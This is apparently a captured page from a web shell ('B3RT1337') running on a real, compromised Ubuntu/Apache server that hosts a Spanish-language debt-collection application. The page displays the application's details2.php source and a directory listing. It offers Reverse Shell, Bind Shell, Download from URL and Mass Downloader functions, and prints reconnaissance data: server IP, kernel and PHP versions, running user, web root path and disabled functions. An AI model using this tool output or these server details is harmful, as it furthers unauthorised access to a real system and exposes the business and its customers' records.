B3RT1337 - ADVANCED WEB SHELL

Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
Apache/2.4.41 (Ubuntu)
74.208.127.88

details2.php

<?php
$titlepage="Ruta pendiente";
$idsmenu=2;

require_once ("../model/dbconn.php");
require_once ("../model/pos.php");

//por si no soporta idioma español el servidor
$diassemana = array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sábado");
$meses = array("Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre");

$dayNumber=strftime("%d");
	$pay_period="S";
	$pay_period2="M";
    $currentDay=strtoupper($diassemana[date('w')]);

if($_GET){
	
	$fechahoy =  date("d-m-Y");
	$semana = date("W");
	
	$id_collector = $_GET['id_collector'];
	//BUSCAMOS LA TABLA PENDING RUTE LOS FOLIOS QUE ESTAN ASIGNADOS A ESTE COBRADOR 
	//se filtra por dia de cobro, periodicidad
	
	
	$pos = new pos();
	$pending = $pos->getPendingRouteByColector($id_collector);
	$pending_route = $pending[2];
	
	
	//	print_r($pending_route);
}else{
	echo "Error de get";
}
?>

<!DOCTYPE html>

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
	  
	 <link rel="stylesheet" href="../../dist/css/sweetalert.css">
	 <link rel="stylesheet" href="../../css/owl.carousel.css">
	 <link rel="stylesheet" href="../../css/owl.theme.css">
     <link rel="stylesheet" href="../../css/owl.transitions.css">
	   
    <link rel="stylesheet" href="../../css/animate.css">
	 
    <link rel="stylesheet" href="../../css/scrollbar/jquery.mCustomScrollbar.min.css">
    
    <link rel="stylesheet" href="../../css/metisMenu/metisMenu.min.css">
    <link rel="stylesheet" href="../../css/metisMenu/metisMenu-vertical.css">
    
    <link rel="stylesheet" href="../../css/normalize.css">
	
    <link rel="stylesheet" href="../../css/morrisjs/morris.css">
	 
		 <link rel="stylesheet" href="../../style.css">
   
    
    <link rel="stylesheet" href="../../css/responsive.css">
    
    <script src="../../js/vendor/modernizr-2.8.3.min.js"></script>
	 
    <link rel="stylesheet" href="../../css/main.css">
	
	
    <link rel="stylesheet" href="../../css/nalika-icon.css">
	
	  
    <link rel="stylesheet" href="../../css/font-awesome.min.css">
	
	  
    <link rel="stylesheet" href="../../css/responsive.css">
	
	
    <link href="https://fonts.googleapis.com/css?family=Roboto:100,300,400,700,900" rel="stylesheet">
	
	<title>Detalle Cliente</title>
	
	 <style>
        h3 {
            color: white;              /* Cambia el color del texto a blanco */
            justify-content: center; /* Centra horizontalmente */
           
        }
		
		.row.d-flex.justify-content-center {
		  padding-left: 1px;
		  padding-right: 1px;
		  display: flex;
		}
		 
			
	 /* Posicionar el footer de manera fija al fondo */
		
		   /* Contenedor de la página */
        .container {
            display: flex;               /* Usamos flexbox */
            justify-content: center;     /* Centra el contenido horizontalmente */
            align-items: center;         /* Centra el contenido verticalmente */
            
            text-align: center;          /* Centra el texto dentro del h1 */
        }

h1 {
            font-size: 36px;             /* Tamaño de fuente del título */
        }
		
		.footer-copy-right p {
			margin: 0;
			font-size: 12px;
			color: #fff;
		}

.footer-copy-right a {
			color: #fff;
			text-decoration: none;
		}

.footer-copy-right a:hover {
			text-decoration: underline;
		}		
    </style>
</head>

<body >
		
		<div class="container">
		<h3>Pagos Pendientes</h3>
		
		</div>
		<a href="https://sistemasyusa.icu/graficas.php" class="btn btn-primary">Regresar</a>
		<a href="#" class="btn btn-primary">Detalle</a>
		
		    <input type="text" style="font-size: 20px;" id="contract" name="contract" required>
         
		 <button type="submit" id="searchForm" class="btn btn-primary">Buscar</button>
		
<div class="panel-body panel-csm">
    <div class="container-fluid"> 
        <div class="row d-flex justify-content-center">
            <?php 
            foreach($pending_route as $key=>$route) { ?>
                <div class="col-12 <?php echo ($key) ? 'd-none' : ''; ?>" id="venta-<?=$key+1?>">
                    <h1>N° Contrato: <?=$route['contrato']?></h1>
                    <div class="card col-12"> 
                        <div class="card-body">
                            <div class="col-12 d-flex justify-content-between">
                                <b>Nombre:</b> <span><?=$route['nombre']?></span>
                            </div>
                            <hr>
                            <div class="col-12 d-flex justify-content-between">
                                <b>Dirección:</b> <span><?=$route['street']?></span>
                            </div>
                            <hr>
                            <div class="col-12 d-flex justify-content-between">
                                <b>Mercancia:</b> <span><?=$route['merca']?></span>
                            </div>
                            <hr>                            
                            <div class="col-12 d-flex justify-content-between">
                                <b>Dias de pago:</b> <span><?=$route['payday']?></span>
                            </div>
                            <hr>
                            <div class="col-12 d-flex justify-content-between">
                                <b>Monto de venta:</b> <span>$ <?=number_format($route['total'],2);?></span>
                            </div>
                            <hr>
                            <div class="col-12 d-flex justify-content-between">
                                <b>Saldo Anterior:</b> <span>$ <?=number_format($route['balance']+$route['pay_min'],2);?></span>
                            </div>
                            <hr>
                            <div class="col-12 d-flex justify-content-between">
                                <b>Pago:</b> <span>$ <?=number_format($route['pay_min'],2);?></span>
                            </div>
                            <hr>
							
							 <div class="col-12 d-flex justify-content-between">
                                <b>Saldo Actual:</b> <span>$ <?=number_format($route['balance'],2);?></span>
                            </div>
                            <hr>
                        </div>
                    </div>
                </div>
            <?php }?>        
            <div class="mt-10">
                <nav aria-label="Page navigation example">
                    <ul class="pagination">
                        <li class="page-item"><a class="page-link">Anterior</a></li>
                        <?php 
                        for ($i = 1; $i <= count($pending_route); $i++) { 
                            $contActual = $pending_route[$i]['Contrato'];
                            echo "<li class='page-item'><a class='page-link val='".$contActual."' title='Contrato : ".$contActual."'>$i".$contActual." </a></li>";
                        }
                        ?>
                        <li class="page-item"><a class="page-link">Siguiente</a></li>
                    </ul>
                </nav>
            </div>
        </div>    
    </div>    
</div>    
<br>
<div class="footer-copyright-area">
    <div class="container-fluid">
        <div class="row">
            <div class="col-lg-12">
                <div class="footer-copy-right">
                    <p>Copyright © 2025 <a href="https://sistemasyusa.icu">Sistemas Yusa</a> All rights reserved.</p>
                </div>
            </div>
        </div>
    </div>
</div>
								
<script src="../../dist/js/sweetalert.min.js" type="text/javascript"></script>

<script src="../../js/wow.min.js"></script>
    
    <script src="../../js/jquery-price-slider.js"></script>
    
    <script src="../../js/jquery.meanmenu.js"></script>
    
    <script src="../../js/jquery.sticky.js"></script>
    
    <script src="../../js/jquery.scrollUp.min.js"></script>
	 
    <script src="../../js/sparkline/jquery.sparkline.min.js"></script>
    <script src="../../js/sparkline/jquery.charts-sparkline.js"></script>
    
    <script src="../../js/calendar/moment.min.js"></script>
    <script src="../../js/calendar/fullcalendar.min.js"></script>
    <script src="../../js/calendar/fullcalendar-active.js"></script>

<script src="../../js/wow.min.js"></script>
	
 
    <script src="../../js/owl.carousel.min.js"></script>	
	 
    <script src="../../js/tab.js"></script>
	
	 
    <script src="../../js/main.js"></script>
	
	 
    <script src="../../js/wizard/jquery.steps.js"></script>
    <script src="../../js/wizard/steps-active.js"></script>
    
    <script src="../../js/plugins.js"></script>

</body>
<script>

// Manejar el evento de búsqueda por contrato
      $("#searchForm").submit(function(event) {
		event.preventDefault();
		var contract = $("#contract").val();

// Realizar una solicitud AJAX para buscar los detalles del contrato
		$.ajax({
				url: "consulta_cont.php", // El archivo PHP donde se realiza la búsqueda
				method: "POST",
				data: { contract: contract },
				dataType: "json",
				success: function(data) {
					if (data.length > 0) {
						// Mostrar los detalles en el modal utilizando comillas simples y concatenación
						var details = 
							'<strong>Cliente:</strong> ' + data.client_name + '<br>' +
							'<strong>Dirección:</strong> ' + data.street + '<br>' +
							'<strong>Fecha de Venta:</strong> ' + data.date_sale + '<br>' +
							'<strong>Total:</strong> ' + data.total + '<br>' +
							'<strong>Saldo:</strong> ' + data.balance + '<br>' +
							'<strong>Enganche:</strong> ' + data.enganche + '<br>' +
							'<strong>Día de Pago:</strong> ' + data.payday;
						
						$("#contractDetails").html(details);
						$("#detailsModal").modal("show");
					} else {
						alert("No se encontraron resultados.");
					}
				}
			});
		});
		
    let current = 1;
    $('.page-link').click(function(event) {
		
	
	var one = 'Verifique Datos de  Cliente: ';
	var val=$(this).attr("val");
	
	var two = val;
	var joined = one + two;	
		
	 $.notify( joined, "info");

event.preventDefault();
        var target = $(this).text();
        if (target == 'Anterior' && current > 1) {
            target = current - 1;
			
		  
		   
		   
        } else if (target == 'Siguiente' && current < 10) {
            target = current + 1;
			
        }
        $(`#venta-${current}`).fadeOut("slow").addClass('d-none');
        $(`#venta-${target}`).fadeIn("slow").removeClass('d-none');
        current = target;
    })
</script>

</html>

Cancel

Name	Type	Size	Owner/Group	Permission	Modified
.	dir	-	root/root	0755	2025-03-27 02:26
..	dir	-	root/root	0755	2025-03-03 10:42
assets	dir	-	root/root	0755	2024-12-29 22:27
fpdf	dir	-	root/root	0755	2024-12-29 22:28
images	dir	-	root/root	0755	2024-12-29 22:28
ios	dir	-	root/root	0755	2025-07-21 17:40
nppBackup	dir	-	root/root	0755	2025-01-03 01:42
autocomplete_client.php	text/x-php	1.12 KB	root/root	0644	2021-10-04 16:54
c_debtcolector.php	text/x-php	5.99 KB	root/root	0644	2021-11-01 16:59
c_pay.php	text/x-php	1.47 KB	root/root	0644	2025-01-10 16:21
c_pos.php	text/x-php	33.29 KB	root/root	0644	2021-10-06 00:51
collector.php	text/x-php	625 B	root/root	0644	2022-06-29 00:58
conexion_app.php	text/x-php	33.29 KB	root/root	0644	2021-10-05 23:51
consulta_cont.php	text/x-php	760 B	root/root	0644	2025-03-01 02:00
details2.php	text/x-php	13.12 KB	root/root	0644	2025-03-12 12:10
detailsT.php	text/x-php	10.77 KB	root/root	0644	2025-03-12 19:14
elements.html	text/html	4.58 KB	root/root	0644	2022-06-12 01:08
generic.html	text/html	3.19 KB	root/root	0644	2022-06-10 13:48
generic.php	text/x-php	29.29 KB	root/root	0644	2025-03-27 02:11
genericOLD.html	text/x-php	3.3 KB	root/root	0644	2022-06-10 12:47
genericOLD.php	text/x-php	13.52 KB	root/root	0644	2022-06-29 04:24
genericOLD2.php	text/x-php	12.49 KB	root/root	0644	2022-06-30 01:06
get_ubicacion.php	text/x-php	1.05 KB	root/root	0644	2025-03-11 19:28
index.php	text/x-php	5.46 KB	root/root	0644	2022-06-12 01:10
indexold.html	text/html	3.63 KB	root/root	0644	2022-06-10 21:22
inventary.php	text/html	10.04 KB	root/root	0644	2022-06-10 13:25
j_debt.js	text/plain	1.87 KB	root/root	0644	2022-06-28 20:34
j_pos.js	text/plain	63.89 KB	root/root	0644	2021-11-04 21:59
menu2.php	text/x-php	2.65 KB	root/root	0644	2025-03-11 16:22
report_collector.php	text/html	10.04 KB	root/root	0644	2022-06-10 12:25

Database Connection

Reverse Shell

Bind Shell

Download from URL

Mass Downloader

System Information

Uname: Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64PHP Version: 7.4.3-4ubuntu2.29Server Software: Apache/2.4.41 (Ubuntu)Server Protocol: HTTP/1.1Server IP: 74.208.127.88Server Port: 443Current User: www-dataCurrent Directory: /var/www/html/muebles/application/debtcollectorDisabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,

PHP Configuration

allow_url_fopen: 1
allow_url_include: 
disable_functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
open_basedir: 
safe_mode: 
memory_limit: 128M
max_execution_time: 0
upload_max_filesize: 2M
post_max_size: 8M

Loaded Extensions

Core, date, libxml, openssl, pcre, zlib, filter, hash, Reflection, SPL, session, standard, sodium, apache2handler, mysqlnd, PDO, xml, bz2, calendar, ctype, curl, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, iconv, json, exif, mysqli, pdo_mysql, Phar, posix, readline, shmop, SimpleXML, soap, sockets, sysvmsg, sysvsem, sysvshm, tokenizer, xmlreader, xmlwriter, xsl, zip, Zend OPcache